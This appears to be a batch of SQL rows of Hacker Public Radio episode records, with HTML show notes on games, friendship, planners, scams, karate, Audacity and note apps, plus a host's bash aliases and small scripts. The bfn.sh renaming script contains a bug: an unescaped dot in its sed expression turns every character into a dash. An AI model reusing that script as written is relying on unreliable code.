(3965,'2023-10-13','I\'ve taken the Conqueror Virtual Challenge',285,'Daniel Persson talks about a service where you challenge yourself for better health','<p>This service will help you keep track of your walks and incentivize\nyou to walk more and stay healthy.</p>\n',382,0,0,'CC-BY-SA','challenge, walk',0,0,1),
(3934,'2023-08-31','Crusader Kings II',2292,'Tuula rambles about her all time favourite strategy game Crusader Kings II','<h2 id=\"crusader-kings-ii\">Crusader Kings II</h2>\n<p>Crusader Kings II is a dynasty simulator, where your goal is to guide\nyour dynasty through the middle ages. It\'s very large game and this\nepisode can only scratch the surface.</p>\n<p>You\'re a ruler of some kind, like count, duchess, king or empress to\nname a few. You need to manage vassals in your realm and keep your\nneighbours at bay. When you\'re not busy with that, you can relax and go\nhunting, build an observatory or join a secret society (to name just a\nfew).</p>\n<p>Couple first games will be overwhelming, but it\'ll get easier when\nyou start realizing how things affect to each other and what kinds of\nthings you can do.</p>\n<p>If you\'re interested to learn more, have a look at the wiki: <a\nhref=\"https://ck2.paradoxwikis.com/Crusader_Kings_II_Wiki\"\nclass=\"uri\">https://ck2.paradoxwikis.com/Crusader_Kings_II_Wiki</a></p>\n',364,122,0,'CC-BY-SA','Crusader Kings, Paradox',0,0,1),
(3942,'2023-09-12','RE: How to make friends.',763,'Sgoti replies to Klaatu\'s show, \"How to make friends.\"','<h2 id=\"re-how-to-make-friends.\">RE: How to make friends.</h2>\n<ul>\n<li><p><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/eps/hpr3904/index.html\">hpr3904 ::\nHow to make friends</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Friendship\">Friendship</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Interpersonal_relationship\">Interpersonal\nrelationship</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Affection\">Affection</a><br />\n</p></li>\n</ul>\n',391,0,0,'CC-BY-SA','Friends, reply show',0,0,1),
(3946,'2023-09-18','Planning for a planner, part 02.',2168,'Sgoti and Bumble Bee discuss discbound planners, agendas, ink pens and more.','<h2 id=\"discbound-planners-and-notebooks.\">Discbound Planners and\nNotebooks.</h2>\n<ul>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.staples.com/discbound+notebook/directory_discbound%2520notebook\">Staples.com\ndiscbound notebook search</a><br />\n</p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://www.staples.com/Staples-Arc-Customizable-Leather-Notebook-System-Black-6-3-4-x-8-3-4-Each-20000/product_886234\">Staples\narc customizable notebook, 6.3/4in x 8.3/4in, 60 sheets, narrow ruled,\nblack</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://thehappyplanner.com/\">Happy Planner.</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.joann.com/search/?q=planners&amp;lang=default\">JoAnn</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.staples.com/post-it-transparent-notes-2-7-8-x-2-7-8-clear-36-sheets-pad-600-trspt/product_24471514\">Transparent\nnotes, 36 sheets/pad, 1 pad/pack $5.19.</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.amazon.com/Discbound-Notebook-Envelope-Supplies-Organizer/dp/B0BNDDFRPS/ref=sr_1_15?keywords=Disc+bound+notebook&amp;qid=1690948654&amp;sr=8-15\">6\npack discbound pocket letter size envelope organizer</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.amazon.com/ZGMJ-Discbound-Pre-punched-100Sheets-Loose-Leaf/dp/B0BDVQWDKF/ref=sr_1_2?crid=BLOS1P737715&amp;keywords=planner+paper+7+x+9.25&amp;qid=1690948924&amp;s=office-products&amp;sprefix=planner+paper+7+x+9.25%2Coffice-products%2C78&amp;sr=1-2\">Zgmj\nclassic size discbound lined refill paper, happy planner inserts,\n100sheets/200pages loose-leaf paper, 100gsm white paper, 7x9.25\nin</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.amazon.com/Classic-Discbound-Pre-punched-200Sheets-400Pages/dp/B0BW9LLHTW/ref=sr_1_9?crid=BLOS1P737715&amp;keywords=planner%2Bpaper%2B7%2Bx%2B9.25&amp;qid=1690949003&amp;s=office-products&amp;sprefix=planner%2Bpaper%2B7%2Bx%2B9.25%2Coffice-products%2C78&amp;sr=1-9&amp;th=1\">Classic\nsize discbound daily planner refill paper, happy planners insert,\n200sheets/400pages to do list planner refill, 100gsm white paper, 7x9.25\nin</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.amazon.com/Discbound-Undated-Planner-Pre-Punched-Scheduling/dp/B0C1QRMZXP/ref=sr_1_30?crid=BLOS1P737715&amp;keywords=planner%2Bpaper%2B7%2Bx%2B9.25&amp;qid=1690949044&amp;s=office-products&amp;sprefix=planner%2Bpaper%2B7%2Bx%2B9.25%2Coffice-products%2C78&amp;sr=1-30&amp;th=1\">Discbound\nundated daily plan paper refill, 120 gsm, 80 sheets, happy planner 9\ndisc pre-punched inserts, 7x9.25 inch, daily to-do, notes, and\nscheduling</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.etsy.com/listing/824849113/leather-personalized-discbound-planner?ga_order=most_relevant&amp;ga_search_type=all&amp;ga_view_type=gallery&amp;ga_search_query=discbound+notebook&amp;ref=sr_gallery-1-17&amp;pro=1&amp;sts=1&amp;organic_search_click=1\">Leather\npersonalized discbound planner cover</a><br />\n</p></li>\n</ul>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','Discbound, Notebooks, Planners, Happy Planner, Ink Pens.',0,0,1),
(3957,'2023-10-03','The Oh No! News.',2201,'Sgoti talks about investment and recovery scams.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<ul>\n<li><strong>TAGS:</strong> User space, investment scams, recovery\nscams</li>\n</ul>\n<hr />\n<h3 id=\"user-space.\"><strong>User space.</strong></h3>\n<ul>\n<li><p><strong>Source:</strong> <a\nhref=\"https://consumer.ftc.gov/scams\">Avoiding and Reporting\nScams.</a><br />\n</p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://consumer.ftc.gov/articles/refund-and-recovery-scams\">Refund\nand Recovery Scams.</a><br />\n</p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://consumer.ftc.gov/scams?items_per_page=20&amp;search=investment&amp;field_cfg_scams_target_id%5B2236%5D=2236\">Investment\nopportunity scams.</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.reddit.com/r/Scams/\">Reddit Community:\nr/Scams</a><br />\n</p></li>\n</ul>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is a \"Data\nBreach\"?</a> A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Malware\"?</a>\nMalware (a <a href=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"From Wikipedia, the free encyclopedia\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Payload\"?</a>\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is \"Phishing\"?</a>\nPhishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\"\ntitle=\"From Wikipedia, the free encyclopedia\">social engineering</a>\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\"\ntitle=\"From Wikipedia, the free encyclopedia\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\">Social\nengineering (security)</a> In the context of information security,\nsocial engineering is the <a\nhref=\"https://en.wikipedia.org/wiki/Psychological_manipulation\">psychological\nmanipulation</a> of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Information\nSecurity\" (InfoSec)?</a> Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\"\ntitle=\"From Wikipedia, the free encyclopedia\">information</a> risks. It\nis part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\"\ntitle=\"From Wikipedia, the free encyclopedia\">information risk\nmanagement</a>.\n<ul>\n<li><strong>Information Security Attributes:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Confidentiality\"\ntitle=\"From Wikipedia, the free encyclopedia\">Confidentiality</a>, <a\nhref=\"https://en.wikipedia.org/wiki/Data_integrity\"\ntitle=\"From Wikipedia, the free encyclopedia\">Integrity</a> and <a\nhref=\"https://en.wikipedia.org/wiki/Availability\"\ntitle=\"From Wikipedia, the free encyclopedia\">Availability</a> (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Risk_management\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Risk\nmanagement\"?</a> Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Vulnerability\"\n(computing)?</a> Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nSurface\"?</a> The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nVector\"?</a> In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Standardization\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is\n\"Standardization\"?</a> Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_computer_standards\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of computer\nstandards.</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_technical_standard_organizations\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of technical standard\norganizations.</a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Replay_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Replay\nattack\"?</a> A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a\n\"Man-in-the-middle attack\"?</a> In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Transport Layer\nSecurity\" (TLS)?</a> Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Handshake_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Handshake\"\n(computing)?</a>. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Security_theater\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is Security\ntheater?</a> The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>License:</strong> <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">Creative\nCommons Attribution-ShareAlike 4.0 International</a>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This\nwork is licensed under a\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International License</a>.</li>\n</ul>\n',391,74,0,'CC-BY-SA','User space, investment scams, recovery scams',0,0,1),
(3926,'2023-08-21','Karate Do: An Overview',2706,'Hipernike talks about Karate, its meaning and some of the things he has learnt','<p>Sorry for my English, I\'m still improving it, and specially for\nconfusing kicks with hand strikes.</p>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Gichin_Funakoshi\">Gichin\nFunakoshi</a>: The father of modern karate and the founder of Shotokan\nstyle\n<ul>\n<li>Book Karate-Do Kyohan</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nij%C5%AB_kun\">Nij&#x16B; kun</a>:\nHis 20 precepts</li>\n</ul></li>\n<li>In Karate your main enemy is yourself</li>\n<li>Three pillars of Karate:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Karate_kata\">Kata</a>: Series\nof movements that symbolize a combat</li>\n<li>In Shotokan Style, there are 27 kata practiced</li>\n<li>Kihon: Practice of the basic techniques</li>\n<li>Kumite: Combat</li>\n</ul></li>\n<li>Dashi (Stances)</li>\n<li><a href=\"https://en.wikipedia.org/wiki/D%C5%8Dj%C5%8D_kun\">D&#x14D;j&#x14D;\nkun</a>: Training hall rules</li>\n<li><a href=\"https://thekarateblog.com/karate-belt-order\">Karate belt\norder</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Sensei\">Sensei</a>: \"One who\ncomes before\"</li>\n<li>Four main Karate styles\n<ul>\n<li>Goju-ryu, Shotokan-ryu, Wado-ryu, and Shito-ryu</li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=SFxfnjBYmv8\">Taikyoku\nShodan</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=Jkv8Ks_fEqk\">Kanku\nDai</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=tXPZFarJMh0\">Bassai\nDai</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=DOfMJtZqn0U\">Tekki Shodan\nperformed by Gichin Funakoshi</a></li>\n<li><a href=\"https://youtu.be/rXk-rYwcYno\">The Last Samurai: No mind\nscene</a>\n<ul>\n<li><a href=\"https://youtu.be/aX97OF1p4nU\">And another scene</a></li>\n</ul></li>\n<li>The outcome of a battle depends on how one handles emptiness and\nfullness (Gichin Funakoshi, Nij&#x16B; kun)</li>\n<li>Defense techniques\n<ul>\n<li>Age uke</li>\n<li>Soto uke</li>\n<li>Uchi uke</li>\n<li>Shuto uke</li>\n</ul></li>\n<li>Attack techniques\n<ul>\n<li>Empi uchi</li>\n<li>Uraken uchi</li>\n<li>Shuto uchi</li>\n<li>Kentsui uchi (hammer strike with your fist)</li>\n</ul></li>\n</ul>\n',410,0,0,'CC-BY-SA','karate, martial arts, sports',0,0,1),
(3961,'2023-10-09','RERE: How to make friends.',2495,'Sgoti and Mugs Up chat about, \"How to make friends womans edition\".','<h2 id=\"rere-how-to-make-friends.\">RERE: How to make friends.</h2>\n<ul>\n<li><p><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/eps/hpr3904/index.html\">hpr3904 ::\nHow to make friends</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/eps/hpr3942/index.html\">hpr3942 ::\nRE: How to make friends.</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Friendship\">Friendship</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Interpersonal_relationship\">Interpersonal\nrelationship</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Affection\">Affection</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Blood_brother\">Blood\nbrother.</a><br />\n</p></li>\n</ul>\n<p>I thought this was funny: <a\nhref=\"https://www.wikihow.com/Ask-a-Friend-to-Hang-Out\">How to Ask a\nFriend to Hang Out.</a></p>\n',391,0,1,'CC-BY-SA','Make friends, Mugsup, Klaatu',0,0,1),
(3927,'2023-08-22','Audacity Update 20230702',372,'RESERVE SHOW. Audacity has been having problems lately.','<p>Audacity seems to have developed some sensitivity problems of late\nand that has affected my ability to process my podcast files as\nexplained in HPR 3900. I have found some evidence that the Audacity team\nis aware of this, but for now this is how I work around the problem.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html\"\nclass=\"uri\">https://hackerpublicradio.org/eps/hpr3900/index.html</a></li>\n<li><a\nhref=\"https://www.palain.com/miscellaneous-technical-notes/preparing-podcasts-for-listening/\"\nclass=\"uri\">https://www.palain.com/miscellaneous-technical-notes/preparing-podcasts-for-listening/</a></li>\n<li><a href=\"https://convertio.co/\"\nclass=\"uri\">https://convertio.co/</a></li>\n<li><a href=\"https://online-audio-converter.com/\"\nclass=\"uri\">https://online-audio-converter.com/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Audacity, MP3, transcoding',0,0,1),
(3928,'2023-08-23','RE: Klaatu.',1467,'Sgoti confuses everyone with bash nonsense.','<p>HPR Shows by Klaatu.</p>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/eps/hpr3887/index.html\">hpr3887 ::\n10 must-know commands for a new cloud admin.</a></li>\n<li><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/eps/hpr3882/index.html\">hpr3882 ::\nAlternatives to the cd command.</a></li>\n</ul>\n<p>Hot sauce lady.</p>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://www.youtube.com/watch?v=BpX_qT7Vefk\">Franks Red Hot Queen\n2011.</a></li>\n</ul>\n<pre><code>pwd &amp;&amp; ls --group-directories-first --classify --almost-all\n\n# some more ls aliases\nalias la=&#39;ls -l --human-readable --group-directories-first --classify --almost-all&#39;\nalias ll=&#39;ls --group-directories-first --classify --almost-all&#39;\nalias lr=&#39;ls -l --human-readable --group-directories-first --classify --recursive&#39;\nalias lar=&#39;ls -l --human-readable --group-directories-first --classify --almost-all --recursive&#39;\nalias lap=&#39;ls -l --human-readable --group-directories-first --classify --almost-all | less&#39;\n\n# safety first ;)\nalias rmi=&#39;rm --interactive --verbose&#39;\nalias mvi=&#39;mv --interactive --verbose&#39;\nalias cpi=&#39;cp --interactive --verbose&#39;\nalias .shred=&#39;bleachbit --shred&#39;\n\n# cd multi dir\nalias ..=&#39;cd ..;&#39;\nalias .2=&#39;cd ../..;&#39;\nalias .3=&#39;cd ../../..;&#39;\nalias .4=&#39;cd ../../../..;&#39;\nalias .5=&#39;cd ../../../../..;&#39;\n\n# Directory controls.\nfunction cd () {\nclear;\nbuiltin cd &quot;$@&quot; &amp;&amp; ls --group-directories-first --classify --almost-all;\n\nhistory -w;\n}\n\n#function pp () {\n#builtin pushd +$@ &amp;&amp; ls --group-directories-first --classify --almost-all\n#}\n\nfunction pushup (){\nbuiltin pushd $HOME/.config/vim/sessions/\nbuiltin pushd $HOME/.local/bin/\nbuiltin pushd $HOME/.thunderbird/*.default-release/\nbuiltin pushd $HOME/Documents/non-of-your-business/\nbuiltin pushd $HOME/Downloads/in/\nbuiltin pushd $HOME/Downloads/out/\nbuiltin pushd $HOME/Downloads/playground/\nbuiltin pushd $HOME/Music/hpr/shows/\nbuiltin pushd $HOME/projects/\nbuiltin pushd $HOME/projects/hprbank/bp/\nbuiltin pushd $HOME/symlinks/\nbuiltin pushd $HOME/tmp/\nbuiltin pushd +11\n\nbuiltin dirs -v\n}\n\nalias pd=&#39;pushd&#39;\nalias dirs=&#39;dirs -v&#39;\n\n# Update\nalias .upg=&#39;sudo apt update &amp;&amp; sudo apt upgrade -y;&#39;\n\n# shutdown | reboot\nalias .sd=&#39;sudo shutdown -P now;&#39;\nalias .rs=&#39;sudo reboot;&#39;\n\n# Misc\nalias ccb=&#39;cat $HOME/cb | xsel --input --clipboard &amp;&amp; echo &quot;Copy. $(date &quot;+%F %T&quot;)&quot;;&#39;\nalias pcb=&#39;xsel --output --clipboard &gt; $HOME/cb &amp;&amp; echo &quot;Copy. $(date &quot;+%F %T&quot;)&quot;;&#39;\nalias zz=&#39;xsel -c -b &amp;&amp; echo &quot;Clipboard Cleared. $(date &quot;+%F %T&quot;)&quot;;&#39;\n\n# File Mods\nalias 700=&#39;chmod --verbose =700&#39;\nalias 600=&#39;chmod --verbose =600&#39;\nalias 400=&#39;chmod --verbose =400&#39;\n\n###############################################################################\n# Functions\n###############################################################################\n\nfunction .s () {\nln --symbolic --verbose --target-directory=$HOME/symlinks/ $(pwd)/${1};\n}\n\nfunction extract () {\nif [ -f $1 ]\nthen\n case $1 in\n *.tar.bz2) tar -vxjf $1 ;;\n *.tar.gz) tar -vxzf $1 ;;\n *.tar) tar -xvf $1 ;;\n *.bz2) bunzip2 $1 ;;\n *.rar) unrar -x $1 ;;\n *.gz) gunzip $1 ;;\n *.tar) tar -vxf $1 ;;\n *.tbz2) tar -vxjf $1 ;;\n *.tgz) tar -vxzf $1 ;;\n *.zip) unzip $1 ;;\n *.Z) uncompress $1 ;;\n *.7z) 7z -x $1 ;;\n *) echo &quot;Good Heavens, &#39;$1&#39; will NOT extract...&quot; ;;\n esac\nelse\n echo &quot;Good Heavens, &#39;$1&#39; is NOT a valid file.&quot;\nfi\n}\n\nfunction myip () {\nip addr | grep &#39;state UP&#39; -A2 | tail -n1 | awk &#39;{print $2}&#39; | cut -f1 -d&#39;/&#39;;\n}\n\nfunction .mkd (){\nmkdir -v $(date +%F) &amp;&amp; pushd $(date +%F);\n}\n\nfunction .mkt (){\ntmpdir=$(mktemp -d /tmp/$(date +%F).XXXXXXXX) &amp;&amp; pushd ${tmpdir}\n}\n\nfunction .d (){\necho $(date +%F)$1 | xsel -i -b;\n}\n\n\nfunction .sh () {\nNEWSCRIPT=${1}.sh\n\ncat &gt;&gt; ${NEWSCRIPT} &lt;&lt; EOS\n#!/bin/bash\n# License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see &lt;https://www.gnu.org/licenses/&gt;.\n\n#Name: ${NEWSCRIPT}\n#Purpose:\n#Version: beta 0.01\n#Author: SGOTI (Some Guy On The Internet)\n#Date: $(date +%F)\n\n#variables:\n\n#start:\n\nexit;\nEOS\n\nif [ -f &quot;${NEWSCRIPT}&quot; ]\nthen\n chmod 700 ${NEWSCRIPT}\nelse\n echo &quot;Good Heavens! There isn&#39;t a &quot;${NEWSCRIPT}&quot;&quot;\nfi\n}\n\nfunction .fmd () {\nxsel -o -b | fmt -w 76 | sed &#39;s/$/ /g\ns/ / /g\ns/ / /g\ns/ / /g\ns/$/ /g\ns/ *$/ /g\ns/&#xA0;/ /g&#39; | xsel -i -b;\n}\n</code></pre>\n<pre><code>#!/bin/bash\n# License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see &lt;https://www.gnu.org/licenses/&gt;.\n\n#Name: bfn.sh\n#Purpose: Create better file names.\n#Version: beta 0.01\n#Author: SGOTI (Some Guy On The Internet)\n#Date: 2022-11-08\n\n#variables:\noldname=$(echo ${1%.*})\nnewname=$(echo $oldname | sed &#39;s/ /-/g;s/_/-/g;s/./-/g;s/--*/-/g;/\\/d&#39; | tr [:upper:] [:lower:])\next1=&quot;.$(echo ${1##*.})&quot;\next2=&quot;.$(echo ${1##*.} | tr [:upper:] [:lower:])&quot;\n\n#start:\nfunction bcase () {\n if [ -f $1 ]\n then\n echo -e &quot;renaming $oldnamen&quot;;\n mv -v &quot;$oldname$ext1&quot; &quot;$newname$ext2&quot;;\n else\n mv -v &quot;$oldname&quot; &quot;$newname&quot;;\n fi\n}\n\nbcase\nexit;</code></pre>\n<pre><code>#!/bin/bash\n# License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see &lt;https://www.gnu.org/licenses/&gt;.\n\n#Name: perm.sh\n#Purpose:\n#Version: beta 0.01\n#Author: SGOTI (Some Guy On The Internet)\n#Date: 2023-01-13\n\n#variables:\nvar_dir=${1}\n\n#start:\nfunction bfp () {\n find &quot;${var_dir}&quot; -type d -exec chmod -R =700 {} +\n find &quot;${var_dir}&quot; -type f -exec chmod -R =600 {} +\n}\n\nbfp\n\nexit;</code></pre>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,42,1,'CC-BY-SA','Bash scripting, bash commands, bash_aliases',0,0,1),
(3929,'2023-08-24','Some experiences with different notes apps',587,'About apps that store notes as markdown','<ul>\n<li><a href=\"https://simplenote.com/\"\nclass=\"uri\">https://simplenote.com/</a></li>\n<li><a href=\"https://standardnotes.com/\"\nclass=\"uri\">https://standardnotes.com/</a></li>\n<li><a href=\"https://www.inkdrop.app/\"\nclass=\"uri\">https://www.inkdrop.app/</a></li>\n<li><a href=\"https://www.qownnotes.org/\"\nclass=\"uri\">https://www.qownnotes.org/</a></li>\n<li><a href=\"https://joplinapp.org/\"\nclass=\"uri\">https://joplinapp.org/</a></li>\n<li><a href=\"https://urltomarkdown.com/\"\nclass=\"uri\">https://urltomarkdown.com/</a></li>\n</ul>\n',403,0,0,'CC-BY-SA','markdown, notes',0,0,1),
